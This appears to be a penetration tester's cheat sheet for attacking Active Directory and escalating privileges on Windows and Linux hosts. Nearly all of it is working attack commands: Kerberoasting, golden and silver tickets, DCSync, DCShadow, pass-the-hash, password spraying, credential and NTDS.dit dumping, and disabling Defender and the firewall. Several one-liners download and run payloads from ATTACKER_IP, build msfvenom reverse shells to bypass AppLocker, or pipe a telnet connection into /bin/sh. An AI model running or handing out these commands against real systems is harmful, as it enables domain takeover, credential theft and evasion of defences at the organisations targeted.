Active Directory

ACTIVE DIRECTORY:

TOOLS that attackers use to penetrate and compromise Active Directory include:

Described as “a little tool to play with Windows security”, Mimikatz is probably the most widely used AD exploitation tool and the most versatile. It provides a variety of methods for grabbing LM Hashes, Kerberos tickets, etc.

PowerSploit is a PowerShell-based toolkit for recon, exfiltration, persistence, etc.

Bloodhound is a graphical tool for finding relationships in AD environments that help speed the path to privileged access.

Death Star shows how you can use information collected from Bloodhound and other tools to automate the elevation to Domain Admin (or similar).

Service Principal Names (SPNs):

Service accounts leverage SPNs to support Kerberos authentication, which leaves a trail to exactly where these accounts are and what they are used for. This information can be easily exploited by an attacker.

Using PowerShell list all domain service accounts that have registered SPN values:

#Build LDAP Filter to look for users with SPN values registered for current domain

$ldapFilter = "(&(objectclass=user)(objectcategory=user)(servicePrincipalName=*))"

$domain = New-Object System.DirectoryServices.DirectoryEntry

$search = New-Object System.DirectoryServices.DirectorySearcher

$search.SearchRoot = $domain

$search.PageSize = 1000

$search.Filter = $ldapFilter

$search.SearchScope = "Subtree"

#Execute Search

$results = $search.FindAll()

#Display SPN values from the returned objects

foreach ($result in $results)

{

$userEntry = $result.GetDirectoryEntry()

Write-Host "User Name = " $userEntry.name

foreach ($SPN in $userEntry.servicePrincipalName)

{

Write-Host "SPN = " $SPN

}

Write-Host ""

}

LOCATE ALL ACCOUNTS WITH "svc" IN THE NAME:

#Build LDAP Filter to look for users with service account naming conventions

$ldapFilter = "(&(objectclass=Person)(cn=*svc*))"

$domain = New-Object System.DirectoryServices.DirectoryEntry

$search = New-Object System.DirectoryServices.DirectorySearcher

$search.SearchRoot = $domain

$search.PageSize = 1000

$search.Filter = $ldapFilter

$search.SearchScope = "Subtree"

#Adds list of properties to search for

$objProperties = "name"

Foreach ($i in $objProperties){$search.PropertiesToLoad.Add($i)}

#Execute Search

$results = $search.FindAll()

#Display values from the returned objects

foreach ($result in $results)

{

$userEntry = $result.GetDirectoryEntry()

Write-Host "User Name = " $userEntry.name

Write-Host ""

}

To search Active Directory for service accounts, you need to investigate the values of an object’s user account control settings.

Switch the first line of the above script with the line below to accomplish this.

$ldapFilter = "(&(objectclass=user)(objectcategory=user)(useraccountcontrol :1.2.840.113556.1.4.803:=65536))"

The data is structured in a tree format. Each node in the tree is called a key. Each key can contain both subkeys and data entries called values.

Registry Hive - A hive is a logical group of keys, subkeys, and values in the registry that has a set of supporting files loaded into memory when the operating system is started or a user logs in. Each time a new user logs on to a computer, a new hive is created for that user with a separate file for the user profile. This is called the user profile hive. A user’s hive contains specific registry information pertaining to the user’s application settings, desktop, environment, network connections, and printers. User profile hives are located under the HKEY_USERS key.

Most of the supporting files for the hives are in the %SystemRoot%\System32\Config directory. These files are updated each time a user logs on.

Elevation of Privileges

General

# PowerShellMafia

# Use always dev branch others are shit.

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

powershell.exe -c “Import-Module C:\Users\Public\PowerUp.ps1; Invoke-AllChecks”

powershell.exe -c “Import-Module C:\Users\Public\Get-System.ps1; Get-System”

# Sherlock

https://github.com/rasta-mouse/Sherlock

# Unquoted paths

wmic service get name,displayname,pathname,startmode |findstr /i “Auto” |findstr /i /v “C:\Windows\\” |findstr /i /v

Kerberoast

Simple logic for kerberoast is requesting tickets and cracking them(offline, doesn’t produce any logs)

– For kerberos to work, times have to be within 5 minutes between attacker and victim.

# Rubeus

.\.rubeus.exe kerberoast /creduser:ecorp\morph3 /credpassword:pass1234

# List available tickets

setspn.exe -t evil.corp -q */*

powershell.exe -exec bypass -c “Import-Module .\GetUserSPNs.ps1”

cscript.exe GetUserSPNs.ps1

# List cached tickets

Invoke-Mimikatz -Command ‘”kerberos::list”‘

powershell.exe -c “klist”

powershell.exe -c “Import-Module C:\Users\Public\Invoke-Mimikatz.ps1; Invoke-Mimikatz -Command ‘”kerberos::list”‘”

# Request tickets

Add-Type -AssemblyName System.IdentityModel

New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList “HTTP/web01.medin.local”

# Requesting remotely

python GetUserSPNs.py -request ECORP/morph3:supersecurepassword@127.0.0.1

# Extract tickets

powershell.exe -c “Import-Module C:\Users\Public\Invoke-Kerberoast.ps1; Invoke-Kerberoast -OutputFormat Hashcat”

Invoke-Mimikatz -Command ‘”kerberos::list /export”‘

# Crack Tickets

python tgsrepcrack.py /usr/share/wordlists/rockyou.txt ticket.kirbi

Juicy Potato

https://github.com/ohpe/juicy-potato/releases

Pick one CLSID from here according to your system

https://github.com/ohpe/juicy-potato/tree/master/CLSID

Required tokens :-

SeAssignPrimaryTokenPrivilege

SeImpersonatePrivilege

C:\Windows\Temp\JuicyPotato.exe -p cmd.exe -a “/c whoami > C:\Users\Public\morph3.txt” -t * -l 1031 -c {d20a3293-3341-4ae8-9aaf-8e397cb63c34}

Stored Credential

# To check if there is any stored keyscmdkey /list

# Using them

runas /user:administrator /savecred “cmd.exe /k whoami”

Impersonating Tokens with meterpreter

use incognito

list_tokens -u

impersonate_token NT-AUTHORITY\System

Lateral Movement

PsExec, SmbExec, WMIExec, RDP, PTH in general.

WinRM is always good. Check groups carefully.

Since windows gave support to OpenSSH we should also consider SSH.

Mimikatz Ticket PTH

Enable-PSRemoting

mimikatz.exe ‘” kerberos:ptt C:\Users\Public\ticketname.kirbi”‘ “exit”

Enter-PSSession -ComputerName ECORP

WinRM

$pass = ConvertTo-SecureString ‘supersecurepassword’ -AsPlainText -Force

$cred = New-Object System.Management.Automation.PSCredential (‘ECORP.local\morph3’, $pass)

Invoke-Command -ComputerName DC -Credential $cred -ScriptBlock { whoami }

# Evil-WinRM

https://github.com/Hackplayers/evil-winrm

ruby evil-winrm.rb -i 192.168.1.2 -u morph3 -p morph3 -r evil.corp

PTH with Mimikatz

Invoke-Mimikatz -Command ‘”sekurlsa::pth /user:user /domain:domain /ntlm:hash /run:command”‘

Database Links

# PowerUpSQL

https://github.com/NetSPI/PowerUpSQL

Get-SQLServerLink -Instance server -Verbose

powershell.exe -c “Import-Module C:\Users\Public\PowerUpSQL.ps1; Invoke-SQLEscalatePriv -Verbose -Instance ECORP\sql”

# To see servers

select srvname from master..sysservers;

# Native

Get-SQLServerLinkCrawl -Instance server -Query “exec master..xp_cmdshell ‘whoami'”

# Linked database tables

select * from openquery(“ECORP\FOO”, ‘select TABLE_NAME from FOO.INFORMATION_SCHEMA.TABLES’)

# You can also use meterpreter module exploit/windows/mssql/mssql_linkcrawler

# With meterpreter module you can find linked databases and if you are admin on them

# You can do a query and try to enable xp_cmpshell on that server

select * from openquery(“server”,’select * from master..sysservers’) EXECUTE AS USER = ‘internal_user’ (‘sp_configure “xp_cmdshell”,1;reconfigure;’) AT “server”

Golden and Silver Tickets

Keys depend of ticket :

–> for a Golden, they are from the krbtgt account;

–> for a Silver, it comes from the “computer account” or “service account”.

# Golden Ticket

# Extract the hash of the krbtgt user

lsadump::dcsync /domain:evil.corp /user:krbtgt

lsadump::lsa /inject

lsadump:::lsa /patch

lsadump::trust /patch

# creating the ticket

# /rc4 or /krbtgt – the NTLM hash

# /sid you will get this from krbtgt dump

# /ticket parameter is optional but default is ticket.kirbi

# /groups parameter is optional but default is 513,512,520,518,519

# /id you can fake users and supply valid Administrator id

kerberos::golden /user:morph3 /domain:evil.corp /sid:domains-sid /krbtgt:krbtgt-hash /ticket:ticket.kirbi /groups:501,502,513,512,520,518,519

kerberos::ptt golden.tck # you can also add /ptt at the kerberos::golden command

# After this , final ticket must be ready

# You can now verify that your ticket is in your cache

powershell.exe -c “klist”

# Verify that golden ticket is working

dir \\DC\C$

psexec.exe \\DC cmd.exe

# Purge the currently cached kerberos ticket

kerberos::purge

#metasploit module can also be used for golden ticket, it loads the ticket into given session

post/windows/escalate/golden_ticket

# Silver Ticket

# Silver Ticket allows escalation of privileges on DC

# /target t he server/computer name where the service is hosted (ex: share.server.local, sql.server.local:1433, …)

# /service – The service name for the ticket (ex: cifs, rpcss, http, mssql, …)

# Examples

kerberos::golden /user:morph3 /domain:domain /sid:domain-sid /target:evilcorp-sql102.evilcorp.local.1433 /service:MSSQLSvc /rc4:service-hash /ptt /id:1103

sqlcmd -S evilcorp-sql102.evilcorp.local

select SYSTEM_USER;

GO

kerberos::golden /user:JohnDoe /id:500 /domain:targetdomain.com /sid:S-1-5-21-1234567890-123456789-1234567890 /target:targetserver.targetdomain.com /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt

AD Attacks

Enumeration

# Basic ldap enumeration

enum4linux -a 192.168.1.2

python windapsearch.py -u morph3 -p morph3 -d evil.corp –dc-ip 192.168.1.2

python ad-ldap-enum.py -d contoso.com -l 10.0.0.1 -u Administrator -p P@ssw0rd

Bruteforce on ldap

# Password spray

https://github.com/dafthack/DomainPasswordSpray

Import-Module .\DomainPasswordSpray.ps1

Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt

# Password brute

./kerbrute_linux_amd64 bruteuser -d evil.corp –dc 192.168.1.2 rockyou.txt morph3

# Username brute

./kerbrute_linux_amd64 userenum -d evil.corp –dc 192.168.1.2 users.txt

# Password spray

./kerbrute_linux_amd64 passwordspray -d evil.corp –dc 192.168.1.2 users.txt rockyou.txt

DC Shadow

AD MEM

DC Shadow attack aims to inject malicious Domain Controllers into AD infrastructure so that we can dump actual AD members.

#Find sid for that user

wmic useraccount where (name=’administrator’ and domain=’%userdomain%’) get name,sid

#This will create a RPC Server and listen

lsadump::dcshadow /object:”CN=morph3,OU=Business,OU=Users,OU=ECORP,DC=ECORP,DC=local” /attribute:sidhistory /value:sid

# Run this from another mimikatz

lsadump::dcshadow /push

# After this unregistration must be done

# Relogin

lsadump::dcsync /domain:ECORP.local /account:krbtgt

# Now you must have krbtgt hash

https://attack.stealthbits.com/how-dcshadow-persistence-attack-works/

DC Sync

#####

lsadump::dcsync /domain:domain /all /csv

lsadump::dcsync /user:krbtgt

#####

https://gist.github.com/monoxgas/9d238accd969550136db

powershell.exe -c “Import-Module .\Invoke-DCSync.ps1; Invoke-DCSync -PWDumpFormat”

#####

python secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1

python secretsdump.py -system /tmp/SYSTEM -ntds /tmp/ntds.dit LOCAL

Bypass-Evasion Techniques

Powershell Constrained Language Bypass

powershell.exe -v 2 -ep bypass -command “IEX (New-Object Net.WebClient).DownloadString(‘http://ATTACKER_IP/rev.ps1’)

PSByPassCLM

powershell.exe -exec bypass -c

Windows Defender

sc config WinDefend start= disabled

sc stop WinDefend

# Powershell

Set-MpPreference -DisableRealtimeMonitoring $true

# Remove definitions

“%Program Files%\Windows Defender\MpCmdRun.exe” -RemoveDefinitions -All

Firewall

Netsh Advfirewall show allprofiles

NetSh Advfirewall set allprofiles state off

Ip Whitelisting

New-NetFirewallRule -Name morph3inbound -DisplayName morph3inbound -Enabled True -Direction Inbound -Protocol ANY -Action Allow -Profile ANY -RemoteAddress ATTACKER_IP

Applocker ByPass

https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md

https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/VerifiedAppLockerBypasses.md

https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/DLL-Execution.md

# Multistep process to bypass applocker via MSBuild.exe:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.56 LPORT=9001 -f csharp -e x86/shikata_ga_nai -i > out.cs

# Replace the buf-sc and save it as out.csproj

https://raw.githubusercontent.com/3gstudent/msbuild-inline-task/master/executes%20shellcode.xml

Invoke-WebRequest “http://ATTACKER_IP/payload.csproj” -OutFile “out.csproj”; C:\windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe .\out.csproj

# or you can simply use my tool 🙂

https://github.com/morph3/Msbuild-payload-generator

sudo python msbuild_gen.py -a x86 -i 10 –lhost 192.168.220.130 –lport 9001 -m

GreatSCT

# This also needs Veil-Framework

python GreatSCT.py –ip 192.168.1.56 –port 443 -t Bypass -p installutil/powershell/script.py -c “OBFUSCATION=ascii SCRIPT=/root/script.ps1”

C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false payload1.exe

python3 GreatSCT.py -t Bypass -p regasm/meterpreter/rev_tcp –ip 192.168.1.56 –port 9001

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U payload.dll

EvilSalsa

#Preparing payloads

python EncrypterAssembly/encrypterassembly.py EvilSalsa.dll supersecretpass123 evilsalsa.dll.txt

EncrypterAssembly.exe EvilSalsa.dll supersecretpass123 evilsalsa.dll.txt

#Executing payload

SalseoLoader.exe password http://ATTACKER_IP/evilsalsa.dll.txt reversetcp ATTACKER_IP 9001

# Reverse icmp shell

python icmpsh_m.py “ATTACKER_IP” “VICTIM_IP”

SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp ATTACKER_IP

Miscellaneous

Changing Permissions of a file

icacls text.txt /grant Everyone:F

Downloading files

IEX (New-Object System.Net.WebClient).DownloadString(“http://ATTACKER_IP/rev.ps1”)

(New-Object System.Net.WebClient).DownloadFile(“http://ATTACKER_SERVER/malware.exe”, “C:\Windows\Temp\malware.exe”)

Invoke-WebRequest “http://ATTACKER_SERVER/malware.exe” -OutFile “C:\Windows\Temp\malware.exe”

certutil.exe -urlcache -split -f “http://127.0.0.1:80/shell.exe” shell.exe

Adding user to Domain admins

Add-DomainGroupMember -Identity ‘Domain Admins’ -Members morph3 -Verbose

Base64 Encode-Decode

certutil -decode foo.b64 foo.exe

certutil -encode foo.exe foo.b64

Network sharing

# Local share

net share

wmic share get /format:list

# Remote share

net view

net view \\dc.ecorp.foo /all

wmic /node: dc.ecorp.foo share get

# Mounting share

net use Z: \\127.0.0.1\C$ /user:morph3 password123

Port Forwarding

# Port forward using plink

plink.exe -l morph3 -pw pass123 192.168.1.56 -R 8080:127.0.0.1:8080

# Port forward using meterpreter

portfwd add -l attacker-port -p victim-port -r victim-ip

portfwd add -l 3306 -p 3306 -r 192.168.1.56

Powershell Portscan

0..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect(VICTIM_IP,$_)) “Port $_ is open!”} 2>$null

Recovering Powershell Secure String

######

$user = “morph3”

$file = “morph3-pass.xml”

$cred= New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $user, (Get-Content $file | ConvertTo-SecureString)

Invoke-Command -ComputerName ECORP -Credential $cred -Authentication credssp -ScriptBlock { whoami }

######

[System.Runtime.InteropServices.marshal]::PtrToStringAuto([System.Runtime.InteropServices.marshal]::SecureStringToBSTR(“string”))

######

$Ptr = [System.Runtime.InteropServices.Marshal]::SecureStringToCoTaskMemUnicode($password)

$result = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($Ptr)

[System.Runtime.InteropServices.Marshal]::ZeroFreeCoTaskMemUnicode($Ptr)

$result

Injecting PowerShell scripts Into sessions

Invoke-Command -FilePath scriptname -Sessions $sessions

Enter-PSSession -Session $sess

Enable RDP

# CMD

reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /v UserAuthentication /t REG_DWORD /d 0 /f

# Powershell

Set-ItemProperty -Path ‘HKLM:\System\CurrentControlSet\Control\Terminal Server’-name “fDenyTSConnections” -Value 0

Enable-NetFirewallRule -DisplayGroup “Remote Desktop”

# Optional

net localgroup “Remote Desktop Users” morph3 /add

# Reruling firewall

netsh advfirewall firewall set rule group=”remote desktop” new enable=Yes

netsh advfirewall firewall add rule name=”allow RemoteDesktop” dir=in protocol=TCP localport=3389 action=allow

Decrypting EFS files with Mimikatz

Follow the link here How to Decrypt EFS Files

privilege::debug

token::elevate

crypto::system /file:”C:\Users\Administrator\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\thecert” /export

dpapi::capi /in:”C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA\SID\id”

# Clear text password

dpapi::masterkey /in:”C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\SID\masterkey” /password:pass123

# After this command you must have the exported .der and .pvk files

dpapi::capi /in:”C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA\SID\id” /masterkey:f2c9ea33a990c865e985c496fb8915445895d80b

openssl x509 -inform DER -outform PEM -in blah.der -out public.pem

openssl rsa -inform PVK -outform PEM -in blah.pvk -out private.pem

openssl pkcs12 -in public.pem -inkey private.pem -password pass:randompass -keyex -CSP “Microsoft Enhanced Cryptographic Provider v1.0” -export -out cert.pfx

# Import the certificate

certutil -user -p randompass -importpfx cert.pfx NoChain,NoRoot

type “C:\Users\Administrator\Documents\encrypted.txt”

Post exploitation – information gathering

Reading Event Logs

User must be in “Event Log Reader” group

Follow this link

Get-WinEvent -ListLog *

# Listing logs of a specific user

$cred = Get-Credentials

Get -WinEvent -ListLog * -ComputerName AD1 -Credentials $cred

# Reading Security logs

(Get-WinEvent -FilterHashtable @{LogName = ‘Security’} | Select-Object @{name=’NewProcessNam

e’;expression={ $_.Properties[5].Value }}, @{name=’CommandLine’;expression={

$_.Properties[8].Value }}).commandline

Password Dump

# Metasploit

post/windows/gather/enum_chrome

post/multi/gather/firefox_creds

post/firefox/gather/cookies

post/firefox/gather/passwords

post/windows/gather/forensics/browser_history

post/windows/gather/enum_putty_saved_sessions

# Empire

collection/ChromeDump

collection/FoxDump

collection/netripper

credentials/sessiongopher

# mimikatz

privilege::debug

sekurlsa::logonpasswords

Shadow copy

There might be a case where you are privileged but can’t read-access to shadow files(NTDS.dit, SYSTEM etc.)

diskshadow.exe

set context persistent nowriters

add volume C: alias morph3

create

expose %morph3% Z:

# Deletion

delete shadows volume %morph3%

reset

NTDS.dit dump

secretsdump.py -system /tmp/SYSTEM -ntds /tmp/ntds.dit -outputfile /tmp/result local

python crackmapexec.py 192.168.1.56 -u morph3 -p pass1234 -d evilcorp.com –ntds drsuapi

# on DC, lsass.exe can dump hashes

lsadump::lsa /inject

Summary of tools

Ad Environment

icebreaker

bloodhound

Post Exploitation

Empire

DeathStar

CrackMapExec – CME

Covenant

Rubeus

SharpDPAPI

Bypass

Ebowla

Veil-Framework

PsBypassCLM

Swiss Knife

impacket

Windows Kernel

Vulnerabilities in the Windows kernel are published from time to time of which many can be used to escalate privileges.

The following command can be used to retrieve installed patches and their date:

wmic qfe get Caption,Description,HotFixID,InstalledOn

Wmic can be used to retrieve installed software and their versions:

wmic product get name, version

To search for missing DLLs, PowerSploit can be used with the following script:

Find-ProcessDLLHijack

Hereafter, we can check the permissions in the directories that Windows searches for DLL files:

Find-PathDLLHijack

In the last step we can create a malicious DLL file with the following script:

Write-HijackDll

Windows first tries to execute an executable file in the location where the first space is. E.g. the service path

C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe

when administrators want to deploy images on a large number of devices without user interaction (called unattended installations) they use the Windows Deployment Services. However, this requires that the local system administrator’s password or other, privileged account passwords are stored in one or more of the following locations:

C:\unattend.xml

C:\Windows\Panther\Unattend.xml

C:\Windows\Panther\Unattend\Unattend.xml

C:\Windows\system32\sysprep.inf

C:\Windows\system32\sysprep\sysprep.xml

As an example, the following CMD commands can be used to search for passwords in configuration files:

findstr /si password password *.txt

findstr /si password password *.xml

findstr /si password password *.ini

findstr /si password password *.dat

Furthermore, the following PowerSploit scripts can be used:

Get-UnattendedInstallFile

Get-Webconfig

Get-ApplicationHost

Get-SiteListPassword

Get-CachedGPPPassword

The following commands are used to search for passwords in the registry:

reg query HKLM /f password /t REG_SZ /s

reg query HKLM /f password /t REG_SZ /s

reg query HKU /f password /t REG_SZ /s

reg query HKU /f password /t REG_SZ /s

reg query HKCU /f password /t REG_SZ /s

reg query HKCU /f password /t REG_SZ /s

Insufficient Physical Access Manipulation Protection

Further privilege escalation attack vectors exist if physical access to the target system is available. This section describes how privileges can be escalated on a system, which an attacker has physical access to and which is protected insufficiently against file manipulation.

The following graph depicts the possibilities to elevate privileges by attacking devices which we have physical access to:

Find All Servers where Domain Admins are Registered to Run Services. If we are using the Domain User or local system from a particular Domain computer use the following command

Get-SPN -type group -search "Domain Admins" -List yes | Format-Table -Autosize

for a non domain system with domain credentials we can use the command below

Get-SPN -type group -search "Domain Admins" -List yes -DomainController 192.168.1.100 -Credential domainuser | Format-Table -Autosize

Discovering the Service Accounts

By Doing an SPN Scan for user accounts with Service Principal Names the service Accounts and the server accounts used can be identified.

PS C:\> get-aduser -filter {ServicePrincipalName -like “*”} -Properties PasswordLastSet,LastLogonDate,ServicePrincipalName,TrustedForDelegation,TrustedtoAuthForDelegation

Winexe

Linux Binary pth-winexe

Example with pth:

pth-winexe -U ./Administrator%aad3b435b51404eeaad3b435b51404ee:4b579a266f697c2xxxxxxxxx //10.145.X.X cmd.exe

pth-winexe -U EXAMPLE/Administrator%example@123 //10.145.X.X cmd.exe

If we want to login as NTAuthority, probably use –system

R-service:

If there are any r-services enabled these are what you should try out, you may be lucky and get logged indirectly.

#rlogin -l root <ip> // will directly log you in

You can try an rlogin brute using Nmap script

#nmap -p53 –script rlogin-brute <ip>

#rusers -al <ip>

#rwho

SMB enumeration:

This is what you might come across pretty often.

#enum4linux -a <IP> //performs all basic enumeration using smb null session.

#enum4linux -U 192.168.1.2 //-U will get userlist

SMB null session is an unauthenticated netbios session between two computers. SMB null session is available for SMB1 systems only i.e 2000,xp,2003

To use an smb null session :

#rpcclient -U “” 192.168.1.2 ///when asked enter empty password

#rpcclient $>srvinfo

#rpcclient $>enumdomusers

#rpcclient $>querydominfo

#rpcclient $>getdompwinfo //password policy

#rpcclient $>netshareenum

#nmblookup -A 192.168.1.1

#rpcinfo -p <target>

Enumerate using smbclinet:

#smbclient -L //192.168.1.2

#smbclient -L //192.168.1.2/myshare -U anonymous

#smb> get data.txt

#smb>put evil.txt

Brute SMB password:

#nmap -p445 –script=smb-brute.nse <ip>

Brute force should always be your last option. You can also use hydra to do it.

Using nmap:

#nmap -sU -sS –script=smb-enum-users -p U:137,T:139 192.168.1.200-254

#nmap -T4 -v -oA shares –script smb-enum-shares –script-args smbuser=username,smbpass=password -p445 192.168.1.0/24

Windows null session:

C:\>net use \\TARGET\IPC$ “” /u:””

Use acccheck for getting user pass using smb

#acccheck -v -t 192.168.1.2 -u <user_name> -P /usr/share/dirb/wordlist/common.txt

#acccheck -t 192.168.1.2 -U /root/users.txt -P /root/Pass.txt

Once you got user creds we will use the creds to see the shares using smbmap

#smbmap -u <user_name> -p <password> -d <domain> -H <IP>

#smbmap -u user -p pass -d workgroup -H 192.168.1.2

#smbmap -L -u user -p pass -d workgroup -H 192.168.1.2

If you have only read privilege read the shares

#smbmap -r -u user -p pass -d workgroup -H 192.168.1.2

https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

Exploiting a vulnerable machine via dirtycow

$ whoami – tells us the current user is john (non-root user)

$ uname -a – gives us the kernel version which we know is vulnerable to dirtycow

> downloaded the dirtycow exploit from here – https://www.exploit-db.com/exploits/40839/

> Compiled and executed it. It replaces the ‘root’ user with a new user ‘rash’ by editing the /etc/passwd file.

$ su rash – It changes the current logged in user to ‘rash’ which is root.

Exploiting vulnerable SUID executable to get root access

$ find / -perm -u=s -type f 2>/dev/null – It prints the executables which have SUID bit set

ls -la /usr/local/bin/nmap – Let’s confirm if nmap has SUID bit set or not.

Exploiting misconfigured SUDO rights to get root access

$ sudo -l – Prints the commands which we are allowed to run as SUDO

sudo find /home -exec sh -i \; – find command’s exec parameter can be used for arbitrary code execution.

Exploiting badly configured cron jobs to get root access

$ ls -la /etc/cron.d – prints cron jobs which are already present in cron.d

$ find / -perm -2 -type f 2>/dev/null – prints world writable files

$ ls -la /usr/local/sbin/cron-logrotate.sh – Let’s confirm if the cron-logrotate.sh is world writable.

$ echo “chown root:root /tmp/rootme; chmod u+s /tmp/rootme;”>/usr/local/sbin/cron-logrotate.sh –

This will change the executable’s owner and group as root. It will also set the SUID bit.

$ ls -la rootme – After 5 minutes, the logrotate cronjob was run and cron-logrotate.sh got execute with root privilege.

$ ./rootme – spawns a root shell.

> Now, if a root user executes the code with root privilege, we can achieve arbitrary code execution with root privilege.

$ ls – executed ./ls file instead of running list command.

Operating System

What's the distribution type? What version?

cat /etc/issue

cat /etc/*-release

cat /etc/lsb-release # Debian based

cat /etc/redhat-release # Redhat based

What's the kernel version? Is it 64-bit

cat /proc/version

uname -a

uname -mrs

rpm -q kernel

dmesg | grep Linux

ls /boot | grep vmlinuz-

What can be learnt from the environmental variables?

cat /etc/profile

cat /etc/bashrc

cat ~/.bash_profile

cat ~/.bashrc

cat ~/.bash_logout

env

set

Is there a printer?

lpstat -a

Applications & Services

What services are running? Which service has which user privilege?

ps aux

ps -ef

top

cat /etc/services

Which service(s) are been running by root? Of these services, which are vulnerable - it's worth a double check!

ps aux | grep root

ps -ef | grep root

What applications are installed? What version are they? Are they currently running?

ls -alh /usr/bin/

ls -alh /sbin/

dpkg -l

rpm -qa

ls -alh /var/cache/apt/archivesO

ls -alh /var/cache/yum/

Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?

cat /etc/syslog.conf

cat /etc/chttp.conf

cat /etc/lighttpd.conf

cat /etc/cups/cupsd.conf

cat /etc/inetd.conf

cat /etc/apache2/apache2.conf

cat /etc/my.conf

cat /etc/httpd/conf/httpd.conf

cat /opt/lampp/etc/httpd.conf

ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

What jobs are scheduled?

crontab -l

ls -alh /var/spool/cron

ls -al /etc/ | grep cron

ls -al /etc/cron*

cat /etc/cron*

cat /etc/at.allow

cat /etc/at.deny

cat /etc/cron.allow

cat /etc/cron.deny

cat /etc/crontab

cat /etc/anacrontab

cat /var/spool/cron/crontabs/root

Any plain text usernames and/or passwords?

grep -i user [filename]

grep -i pass [filename]

grep -C 5 "password" [filename]

find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla

Communications & Networking

What NIC(s) does the system have? Is it connected to another network?

/sbin/ifconfig -a

cat /etc/network/interfaces

cat /etc/sysconfig/network

What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?

cat /etc/resolv.conf

cat /etc/sysconfig/network

cat /etc/networks

iptables -L

hostname

dnsdomainname

What other users & hosts are communicating with the system?

lsof -i

lsof -i :80

grep 80 /etc/services

netstat -antup

netstat -antpx

netstat -tulpn

chkconfig --list

chkconfig --list | grep 3:on

Whats cached? IP and/or MAC addresses

arp -e

route

/sbin/route -nee

Is packet sniffing possible? What can be seen? Listen to live traffic

tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21

Note: tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]

Have you got a shell? Can you interact with the system?

nc -lvp 4444 # Attacker. Input (Commands)

nc -lvp 4445 # Attacker. Ouput (Results)

telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets system. Use the attackers IP!

Note: http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/

Is port forwarding possible? Redirect and interact with traffic from another view

Note: http://www.boutell.com/rinetd/

Note: http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch

Note: http://downloadcenter.mcafee.com/products/tools/foundstone/fpipe2_1.zip

Note: FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]

FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

Note: ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]

ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port

ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port

Note: mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe

mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe # Port Relay

mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080)

mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)

Is tunnelling possible? Send commands locally, remotely

ssh -D 127.0.0.1:9050 -N [username]@[ip]

proxychains ifconfig

Confidential Information & Users

Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?

id

who

w

last

cat /etc/passwd | cut -d: -f1 # List of users

grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users

awk -F: '($3 == "0") {print}' /etc/passwd # List of super users

cat /etc/sudoers

sudo -l

What sensitive files can be found?

cat /etc/passwd

cat /etc/group

cat /etc/shadow

ls -alh /var/mail/

Anything "interesting" in the home directorie(s)? If it's possible to access

ls -ahlR /root/

ls -ahlR /home/

Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords

cat /var/apache2/config.inc

cat /var/lib/mysql/mysql/user.MYD

cat /root/anaconda-ks.cfg

What has the user being doing? Is there any password in plain text? What have they been edting?

cat ~/.bash_history

cat ~/.nano_history

cat ~/.atftp_history

cat ~/.mysql_history

cat ~/.php_history

What user information can be found?

cat ~/.bashrc

cat ~/.profile

cat /var/mail/root

cat /var/spool/mail/root

Can private-key information be found?

cat ~/.ssh/authorized_keys

cat ~/.ssh/identity.pub

cat ~/.ssh/identity

cat ~/.ssh/id_rsa.pub

cat ~/.ssh/id_rsa

cat ~/.ssh/id_dsa.pub

cat ~/.ssh/id_dsa

cat /etc/ssh/ssh_config

cat /etc/ssh/sshd_config

cat /etc/ssh/ssh_host_dsa_key.pub

cat /etc/ssh/ssh_host_dsa_key

cat /etc/ssh/ssh_host_rsa_key.pub

cat /etc/ssh/ssh_host_rsa_key

